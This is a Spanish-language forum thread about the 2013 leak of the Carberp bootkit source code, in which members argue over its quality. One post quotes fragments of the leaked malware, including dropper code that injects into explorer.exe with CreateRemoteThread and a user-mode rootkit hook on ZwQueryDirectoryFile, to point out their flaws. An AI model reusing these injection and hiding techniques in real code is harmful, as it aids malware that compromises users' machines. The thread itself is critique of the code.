[SRC][FILTRACIÓN] Carberp Bootkit - Precio 50.000$

Iniciado por Karcrack, 25 Junio 2013, 17:44 PM

0 Miembros y 1 Visitante están viendo este tema.

Shaddy

Cita de: engelx en 29 Junio 2013, 14:13 PM
el problema no es que copie otros codigos... el problema es cuando lo copias con demasiados detalles (como los errores) tipico trabajo de escuela donde entregabas un trabajo impreso copy de internet que decía "haga click aqui"

No creo que eso sea algo reprochable. Todo el mundo copia snippets de código de los demás. Y muy pocos hacen cosas realmente innovadoras, así que tratándose además de alguien que gana dinero a través de ello, no creo que eso sea realmente el problema.

Un saludo.
"Si buscas resultados diferentes, no hagas siempre lo mismo" (Albert Einstein)

http://abssha.reversingcode.com
http://www.reversingcode.com

x64core

Cita de: Shaddy en 29 Junio 2013, 16:10 PM
No creo que eso sea algo reprochable. Todo el mundo copia snippets de código de los demás. Y muy pocos hacen cosas realmente innovadoras, así que tratándose además de alguien que gana dinero a través de ello, no creo que eso sea realmente el problema.

Un saludo.

Copiar snippets publicos esta bien para proyectos "dummy". Aquí no hablo nada de innovación no sé ni siquiera porque
lo mencionas, aquí el hecho es, copiar codigos publicos sin nisiquiera saber si tiene posibles fallas y además usarlos
en semenjante proyecto como es este o al menos aparta ser. Bueno propablemente tú lo haces también.

Yo te pregunto,
¿Has visto el codigo?
¿Has podido identificar el monton de codigo copiado?
¿Has podido identificar al menos algunos errores en los codigos copy-paste?




Karcrack

Que todo el mundo se calme.

El código ha sido hecho por 20-25 people under the age of 30. (http://krebsonsecurity.com/2013/06/carberp-code-leak-stokes-copycat-fears/)
Hay mucho código y es difícil encontrar un estilo. Yo no he hecho un análisis muy profundo pero no he visto ninguna función que haya podido identificar como un copia exacta de otra que me haya encontrado por la red. Aunque muchos de los pasos que hace son comunes en un malware de su tipo y es normal encontrar similitudes...

Y sí bien a algunos no les puede parecer interesante hay que destacar que se han vertido muchos bytes analizando su código en blogs de seguridad y ha causado mucho revuelo en internet :rolleyes:

x64core

#13
Solo para demostrar algunos errores:


Libreria para llamar funciones del NTDLL de 64-bits desde proceso de 32-bits:

__declspec() unsigned __int64 X64Call( void * lvpFunctionPtr, int nArgc, ... )
{
va_list args;
   DWORD64 arg1, arg2, arg3, arg4, _nArgc, _lvpFunctionPtr, rest;
DWORD dwEspBackup;
union reg64 sRax;

va_start( args, nArgc );
   arg1 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;
arg2 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;
arg3 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;
arg4 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;

....

push arg1
X64_Pop(_RCX);
push arg2
X64_Pop(_RDX);
push arg3
X64_Pop(_R8);
push arg4
X64_Pop(_R9);



Si todo eso estuviera bien escrito ahora llamemos a una funcion que tome un puntero de 64-bits en algun registro de
la convención de llamadas en x64, y antes del call analizemos los registros. Sabiendo que solo podemos redireccionar
hasta 0xFFFFFFFF pero por obvias razones en Ntoskrnl se tomara los 64-bits enteros de los registros. Decirme
si funciona, no no lo hace.
No yo no estoy tomando de menos la libreria de la persona porque sabemos que más bien se hizo como POC.
y ahora la gente hace un solo copy-paste y le llaman codigo "profesional".

Dropper:


HMODULE GetKernel32(void)
{    
PPEB Peb = NULL;

   __asm
{
mov eax, FS:[0x30]
mov [Peb], eax
}

  ...
 
HMODULE GetDllBase( DWORD dwDllHash )
{    
PPEB Peb = NULL;

   __asm
{
mov eax, FS:[0x30]
mov [Peb], eax
}

PPEB GetPeb()
{
__asm mov eax,FS:[0x30]
};



Además mirar las implementaciónes de memcpy,memset y toda función dentro del grupo de las instrictic que han sido implementadas.

# Codígo no es portable
# Lejos de ayudar a la optimización del codígo


[sarcasm] Injeción bastante sofisticada en el dropper [/sarcasm]:


bool InjectIntoExplorer( DWORD (WINAPI f_Main)(LPVOID) )
{
DWORD dwPid = GetExplorerPid();

if ( dwPid == 0 )
{
return false;
}

OBJECT_ATTRIBUTES ObjectAttributes = { sizeof( ObjectAttributes ) } ;
CLIENT_ID ClientID;

ClientID.UniqueProcess = (HANDLE)dwPid;
ClientID.UniqueThread  = 0;

HANDLE hProcess;

if ( pZwOpenProcess( &hProcess, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &ClientID ) != STATUS_SUCCESS )
{
return false;
}

DWORD dwAddr = InjectCode( hProcess, f_Main );

bool ret = false;

if ( dwAddr != -1 )
{
if ( pCreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwAddr, NULL, 0, 0 ) != NULL )
{
ret = true;
}
}

pZwClose( hProcess );

return ret;
}


Un Rootkit de modo usuario bastante lamer, nisiquiera usan un desensamblador:


ZwQueryDirectoryFileReal =  (PZwQueryDirectoryFile)lpMem;

m_memcpy( lpMem, lpPtr, 15 );

lpPtr = (LPVOID)((DWORD)lpPtr + 5 );

if ( *(BYTE*)lpPtr == 0xBA ) // win xp and up   // <======== WTF?
{
lpPtr = (LPVOID)((DWORD)lpPtr + 1 );
m_memcpy( lpPtr, &dwAddr, 4 );
}
else
{
if ( *(BYTE*)lpPtr == 0x8D ) //win2000  // <======== WTF?
{
*(BYTE*)lpPtr = 0x68;
dwAddr  = (DWORD)&ZwQueryDirectoryFileHook;
lpPtr  = (LPVOID)((DWORD)lpPtr + 1 );

m_memcpy( lpPtr, &dwAddr, 4 );

lpPtr  = (LPVOID)((DWORD)lpPtr + 6 );

*(BYTE*)lpPtr = 0x00;
}
else
{
MemFree( lpMem );
}
}



Mi pregunta es, realmente creen que esto es un codigo profesional?
Y muchos más codigos con fallas que no quiero que más script-kiddies vengan y reparen los codigos.

Además, como yo dije hay cosas interesantes en el paquete... exploits son siempre bienvenidos aunque no sean 0-day :)
Y respecto a la publicidad que le hacen, cualquier nuevo malware creado por un scriptkiddie que aparece en
la red luego a los meses compañias de antivirus diciendo que es nuevo y complejo/avanzado malware.
Bueno eso es normal, compañias de antivirus necesitan hacer publicidad para sus productos.

Y yo realmente pensé que Panda contrataba a gente mejor capacitada, no otro scriptkiddie que solo sabe
escarvar en malware y encuentra este src y propablemente ya esta agregandole más basura, bueno solamente estoy diciendo Shaddy :)




x64core

Creo que hay que destacar las palabras de shaddy:

Todo el mundo copia snippets de código de los demás. Y muy pocos hacen cosas realmente innovadoras,
así que tratándose además de alguien que gana dinero a través de ello, no creo que eso sea realmente el problema.


[sarcasm]Por favor que alguíen lo lleve a la NASA, ellos realmente necesitan gente con esa intelectualidad.[/sarcasm]

Shaddy

Cita de: x64Core en 30 Junio 2013, 08:37 AM
Creo que hay que destacar las palabras de shaddy:

Todo el mundo copia snippets de código de los demás. Y muy pocos hacen cosas realmente innovadoras,
así que tratándose además de alguien que gana dinero a través de ello, no creo que eso sea realmente el problema.


[sarcasm]Por favor que alguíen lo lleve a la NASA, ellos realmente necesitan gente con esa intelectualidad.[/sarcasm]

Buenas x64Core,

En primer lugar ya no trabajo en Panda, pero eso no es algo de tu incumbencia. Para lo que ellos me contrataron no es para programar, y menos para debatir con gente que cree que sabe de programación como tu.

Me contrataron para hacer reversing, y en esos términos creo que estás un poco perdido. A mi este código de este malware me parece solamente el código como tu valoración: un juego de niños.

Quieres que la gente piense que eres muy purista a la hora de valorarlo pero realmente valorar algo como esto y leerlo para mi es bastante hilarante, la verdad.

La gente que se gana la vida con el Malware como este no son profesionales. Solamente buscan hacer caja.

La gente profesional generalmente hace cosas más ad-hoc y tiene sus propios 0day. Y por supuesto, sabe programar en bajo nivel. En 2013 estos códigos que todavía andan jugueteando en USER_MODE son para que tengas tu momentito de gloria x64Core.

Un saludo.
"Si buscas resultados diferentes, no hagas siempre lo mismo" (Albert Einstein)

http://abssha.reversingcode.com
http://www.reversingcode.com